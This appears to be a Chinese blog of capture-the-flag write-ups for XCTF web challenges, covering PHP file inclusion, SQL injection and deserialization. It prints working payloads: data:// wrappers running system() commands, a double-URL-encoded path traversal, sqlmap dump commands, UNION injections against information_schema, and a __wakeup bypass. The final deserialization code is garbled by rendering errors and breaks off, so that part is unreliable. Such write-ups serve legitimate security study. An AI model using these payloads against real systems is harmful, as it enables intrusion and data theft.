文章目录
- 攻防世界-web高手进阶区
- 1、baby_web
- 2、Training-WWW-Robots
- 3、Web_php_include (文件包含+伪协议)
- 4.ics-06(bp爆破)
- 4.warmup
- 6标题NewsCenter (sql注入)
- 7. unserialize3(反序列化)
- 8.php_rce (远程控制利用)
- 9.PHP2(两次URL编码 )
- 10.NaNNaNNaNNaN-Batman
- 11.upload1(一句话木马简单)
- 12.supersqli(sql注入)
- 14.web2(解密)
- 15. mfw(git泄露问题+弱语句)
- 16. Cat(四星+Django漏洞)
- 19. ics-05(文件包含 | preg_replace()函数 -> /e漏洞 | 头文件伪造->X-Forwarded-For)
- 20.CTF-lottery[git文件泄露利用+PHP弱类型]
- 24. bug(五星)(漏洞挖掘 + 伪造本地IP + 文件上传漏洞 (黑名单过滤+文件头检测))
- 25.Nizhuansiwei(两星+文件包含(伪协议)+反序列化)
- 26.ics-07(弱类型+文件上传(linux特性绕过)
- 27. wtf.sh-150(perl网页文件+ARGV上传造成任意文件读取)
- SQL注入---------------------------------------
- Python模板注入---------------------------------------
- 综合题目
- 30.i-got-id-200(perl网页文件+ARGV上传造成任意文件读取)
- 23.FlatScience(robots协议 + sqlite注入)
- 34.favorite_number(代码审计综合)
- 持续更新
攻防世界-web高手进阶区
提示:这里是记录web的题目,这里我基本不讲很多细节,请自行下载Burpsuite,web题型使用的等等工具。浏览器我使用了火狐浏览器
说明,有的数字没有顺序,我可能是按照CTF题目类型来的,和题目难以来的。
1、baby_web
非常的简单,bp抓包直接把1.php去掉后,就看的flag了。
2、Training-WWW-Robots
非常的简单,点网页进去后,看到了robots.txt进去看到一个可以看到他有一个不允许访问的文件f10g.php,在访就出来了。
3、Web_php_include (文件包含+伪协议)
代码审计
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
思路
strstr()对大小敏感
str_replace()替换函数
找到输入page,如何找到php://则替换掉。
所以只要绕过strstr()函数,既然对大小写敏感,我们就换成小写。
1.方法
php://input(方式一)
解释
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替
$HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下
$HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data
潜在需要更少的内存。 enctype=“multipart/form-data” 的时候 php://input 是无效的。不能使用get的注意: 在 PHP 5.6 之前 php://input 打开的数据流只能读取一次; 数据流不支持 seek 操作。 不过,依赖于 SAPI
的实现,请求体数据被保存的时候, 它可以打开另一个 php://input 数据流并重新读取。 通常情况下,这种情况只是针对 POST
请求,而不是其他请求方式,比如 PUT 或者 PROPFIND。
- 造成文件包含漏洞的函数通常有:
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline
2.data协议
用法:
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
3.php://协议
php://input,用于执行php代码,需要post请求提交数据。
Php 代码
<?php system('ls');?>
<?php system('cat');?> 这些都是php的代码
2.方法
data://text/plain
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
data://text/plain,<?php system("ls")?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
提交:data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
4.ics-06(bp爆破)
无厘头,爆破ID 先来一个数字的成功就不找了。
使用BP
4.warmup
知识点
双重编码+url+…/目录方法
解题步骤
看源码之后
发现有提示
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //这里是提示
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
拿到源码
然后看到提示
if (! empty($_REQUEST['file']) //$_REQUEST['file']值非空
&& is_string($_REQUEST['file']) //$_REQUEST['file']值为字符串
&& emmm::checkFile($_REQUEST['file']) //能够通过checkFile函数校验
) {
include $_REQUEST['file']; //包含$_REQUEST['file']文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
//打印滑稽表情
}
'函数名: CheckFile
'作 用:检查某一文件是否存在
'参 数:FileName ------ 文件地址 如:/swf/1.swf
'返回值:False ---- True
一个if语句要求传入的file变量:
• 非空
• 类型为字符串
• 能够通过checkFile()函数校验
同时满足以上三个要求即可包含file中的文件,否则打印滑稽表情
回到上面checkFile()函数
注释了
highlight_file(__FILE__); //打印代码
class emmm //定义emmm类
{
public static function checkFile(&$page)//将传入的参数赋给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
if (! isset($page) || !is_string($page)) {
//若$page变量不存在或非字符串
echo "you can't see it";//打印"you can't see it"
return false;//返回false
}
if (in_array($page, $whitelist)) {
//若$page变量存在于$whitelist数组中
return true;//返回true
}
$_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
可以看到函数代码中有四个if语句
• 第一个if语句对变量进行检验,要求$page为字符串,否则返回false
• 第二个if语句判断 p a g e 是 否 存 在 于 page是否存在于 page是否存在于whitelist数组中,存在则返回true
• 第三个if语句判断截取后的 p a g e 是 否 存 在 于 page是否存在于 page是否存在于whitelist数组中,截取$page中’?'前部分,存在则返回true
PHP mb_substr() 函数
<?php echo mb_substr("菜鸟教程", 0, 2);
// 输出:菜鸟
?>
mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
• 第四个if语句判断url解码并截取后的 p a g e 是 否 存 在 于 page是否存在于 page是否存在于whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
class emmm
{
public static function checkFile(&$page)
{
//白名单列表
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
if (! isset($page) || !is_string($page)) {
echo "you can't see it A";
return false;
}
//检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($page, $whitelist)) {
return true;
}
//过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
);
//第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($_page, $whitelist)) {
return true;
}
//url对$page解码
$_page = urldecode($page);
//第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
可能博客有些地方说的还不够清楚,在这里在说明一下关于payload的问题!!
首先这个地方涉及到一个新的知识:双重编码
比如这题目你将?双重编码的话,经过包含时你包含的文件会被当成一个目录
在自己搭建的一个简单的环境下面举个例子
创建好这几个文件:
1.php里面是本题的漏洞源码
2.php里面是phpinfo();
source.php里面什么都没有,空的!主要为了通过白名单!
flag.txt乱写一个flag~
进行测试:
在漏洞源码中加上,以便观察:
构造号payload后能够很清楚的看见,是成功的,它是当作目录执行的:
同理flag.txt也可以这样得到:
总结
总之,就是双重编码的话,经过包含时你包含的文件会被当成一个目录!!!!
有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取’?‘前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为’?’,仍可通过第四个if语句校验。(’?‘两次编码值为’%253f’),构造url:
http://***😗**/source.php?file=source.php%253f…/ffffllllaaaagggg
无返回值,由于我们不知道ffffllllaaaagggg文件的具体位置,只能依次增加…/,最终在
http://***😗**/source.php?file=source.php%253f…/…/…/…/…/ffffllllaaaagggg中成功回显flag
该漏洞cve编号为CVE-2018-12613,详情请戳
6标题NewsCenter (sql注入)
很简单的一个SQL注入
两种方法
1.自动注入
自己BP抓包后,sqlmap post(不知道百度补充吧)
python sqlmap.py -r 1.txt –dbs
结果
sqlmap -r xctfrequest.txt -D news --tables
sqlmap -r xctfrequest.txt -D news -T secret_table --columns
sqlmap -r xctfrequest.txt -D news -T secret_table -C “id,fl4g” –dump
然你也可以一次性把new数据库内的内容全部爆出来,这样就不用一步步找flag在哪了,直接了当,所以对于有目的,好寻找的我们可以使用第一种步步深入;如果比较难找,就第二种方法比较好。
sqlmap -u “注入地址” --dbs // 列举数据库
sqlmap -u “注入地址” --tables -D “数据库” // 列举数据库的表名
sqlmap -u “注入地址” --columns -T “表名” -D “数据库” // 获取表的列名
sqlmap -u “注入地址” --dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的所有数据
sqlmap -r “含http头的文件” --dbs // 列举数据库
sqlmap -r “含http头的文件” --tables -D “数据库” // 列举数据库的表名
sqlmap -r “含http头的文件” --columns -T “表名” -D “数据库” // 获取表的列名
sqlmap -r “含http头的文件” --dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的所有数据
- Sqlmap -u url --dbs 显示数据库管理系统中所有数据库
2.Sqlmap -u url --current -db 当前网站所使用得数据库
3.Sqlmap -u url -D 数据库名 --tables 显示当前数据库中所有数据表
4.Sqlmap -u url -D 数据库名 -T 表名 --columns 显示表中所有得字段名
5.Sqlmap -u url -D 数据库名 -T 表名 -C 字段名,字段名,字段名…(互相用逗号隔开) --dump 显示数据
2.手动注入
知识背景
解题步骤
输入‘ 时直接看不到任何东西。
如何判断sql注入点
1,搜索框或URL尾端加 ’ 如果报错则可能存在sql注入漏洞
2,数字型判断是否有注入
and 1=1//返回正确页面
and 1=2//返回错误页面
3,字符型判断是否有注入
‘ and ‘1’='1//返回正确页面
’ and '1=2//返回错误页面
构造输入为:sd’ union select 1,2 #和sd’ union select 1,2 ,3# (第一个 ‘
闭合后台命令的第一个 ’ ,#注释掉后台的第二个 ’ )只有1,2,3时才正确返回,说明数据格式为3列。
接下来要利用INFORMATION_SCHEMA来得到所有表名,命令很多种,这里就这么构造: sd’ union select
1,2,table_name from information_schema.tables #
前面的1,2,就完全是凑列数的,得到一大串表名,耐下心来找,发现最后有一个secret_table数据库,按照攻防世界“此地无银三百两”的提示习惯,目标就是他,没跑儿了!
接下来就是要利用information_schema.columns的结构来获得secret表的信息了,根据一位大牛的文章,我们要得到的信息也就只有column_name了,或者再加上colume_type查看数据类型。那么构造:
sd’ union select 1,column_type,column_name from
information_schema.columns where table_name=‘secret_table’ #
里面果然有flag,那么就直接: sd’ union select 1,2,fl4g from secret_table #
构造方法2:
首先用 ’ and 0 union select 1,2,3 # 来初步判断该sql查询返回三列数据
然后用 ’ and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS # 得到表名,很明显我们需要得到 secret_table 表中的内容
再用 ’ and 0 union select 1,column_name,data_type from information_schema.columns where table_name=‘secret_table’# 得到 secret_table 表的列名以及数据类型
最后就可以简单粗暴地得到flag
’ and 0 union select 1,2,fl4g from secret_table #
下面是对这次的补充
从上图测试结果可知UNION后面跟的SELECT结果必须是两列,否则会出错。 对了,还记得注入时WHERE后是两个条件吗?(name =
‘name′ANDpasswd=′name′ANDpasswd=′passswd
‘),在实际代码中可能会是更复杂的条件,甚至黑客也很难猜测的条件,那这个UNION语然该插在那个变量呢?使得整个SQL还是个合法的查询语句。
最好安全的做法是将UNION SELECT
…注入到第一个变量中,然后注入的尾部增加一个注释符号,将后的语句注释掉,就不会考虑后面的是什么语句了。在MySQL数据库,使用#符号即可实现注释。
说了这么多,可以做一下注入测试,验证一下: 在username文本框中输入:ivan’ union select 1,2#,如下图:
点login 按钮后的运行结果如下图所示:
请留注下红框中生成的SQL语句:
SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2# AND passwd = ”
#将后面的SQL内容注释掉了,MySQL解析时直接将它干掉,相当于下面的SQL语句:
SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2
select 1, 2的结果是常数行, 在后面的例中尝试从表中查询数据,而不完全是常数行。
好了 ,UNION和#就是撬动爆库的那个支点
总结
原来SQL注入爆数据库是这么容易的,但有几个必备条件
- MySQL中出现一个元数据库information_schema,它描述整个MySQL服务器所有数据库->表->字段关系树
- SQL语言提供了UNION语句,可以新增窃取其它数据合并到被注入SELECT结果
- MySQL对SQL做扩展,提供注释符#,让注入可以为所欲为
7. unserialize3(反序列化)
__construct() //当一个对象创建时被调用
__destruct() //对象被销毁时触发
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__toString() //把类当做字符串时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
参考了
参考1
参考2
百度一下 发现这是一个CVE漏洞 ==》当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
一次我们修改我们注入的值为:
• 了解php反序列化中__wakeup漏洞的利用
• 了解php魔术方法 • __construct(), __destruct(), __call(), __callStatic(),
__get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被称为魔术方法(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能
• 注意:PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。
• __sleep() 和 __wakeup() public __sleep ( void ) : array
__wakeup ( void ) : void serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则
NULL 被序列化,并产生一个 E_NOTICE 级别的错误。 Note: (1)__sleep()
不能返回父类的私有成员的名字。这样做会产生一个 E_NOTICE 级别的错误。可以用 Serializable 接口来替代。
(2)__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。
(3)与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup
方法,预先准备对象需要的资源。 (4)__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
• 访问控制 PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或
private(私有)来实现的。 public(公有):公有的类成员可以在任何地方被访问。
protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。
private(私有):私有的类成员则只能被其定义所在的类访问。 • unserialize() 将已序列化的字符串还原回 PHP 的值。
序列化请使用 serialize() 函数。 语法 unserialize(str) 参数 描述 str 必需。一个序列化字符串。
__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。
解题步骤
代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,这里没有序列化字符串,何来反序列化呢?于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)。
因此,我们要反序列化xctf类的同时还要绕过__wakeup方法的执行(如果不绕过__wakeup()方法,那么将会输出bad requests并退出脚本),就要修改序列化字符串中的属性个数:
当我们将上述的序列化的字符串中的对象属性个数由真实值1修改为3,即如下所示
7.1Web_php_unserializ
两个难点》
- preg_match(’/[oc]:\d+:/i’, $var)的绕过
- unserialize时__wakeup的绕过 首先直接尝试序列化 这段preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写
还有一个就是php 中+4 =4
PHP preg_match() 函数
这个师傅讲得挺好的清晰的。
正则表达在线看看:https://tool.oschina.net/regex
看看匹配的是什么?
在线php运行https://tool.lu/coderunner/
<?php
class Demo {
private KaTeX parse error: Expected group after '_' at position 41: …ublic function _̲_construct(file) {
$this->file = KaTeX parse error: Expected 'EOF', got '}' at position 12: file; }̲ function _…this->file, true);
}
function __wakeup() {
if ($this->file != ‘index.php’) {
//the secret is in the fl4g.php
$this->file = ‘index.php’;
}
}
}
$A = new Demo(‘fl4g.php’);
C = s e r i a l i z e ( C = serialize( C=serialize(A);
echo $C;
//string(49) “O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}”
C = s t r r e p l a c e ( ′ O : 4 ′ , ′ O : + 4 ′ , C = str_replace('O:4', 'O:+4', C=strreplace(′O:4′,′O:+4′,C);//绕过preg_match
C = s t r r e p l a c e ( ′ : 1 : ′ , ′ : 2 : ′ , C = str_replace(':1:', ':2:', C=strreplace(′:1:′,′:2:′,C);//绕过wakeup
var_dump( C ) ; / / s t r i n g ( 49 ) " O : + 4 : " D e m o " : 2 : s : 10 : " D e m o f i l e " ; s : 8 : " f l 4 g . p h p " ; " v a r d u m p (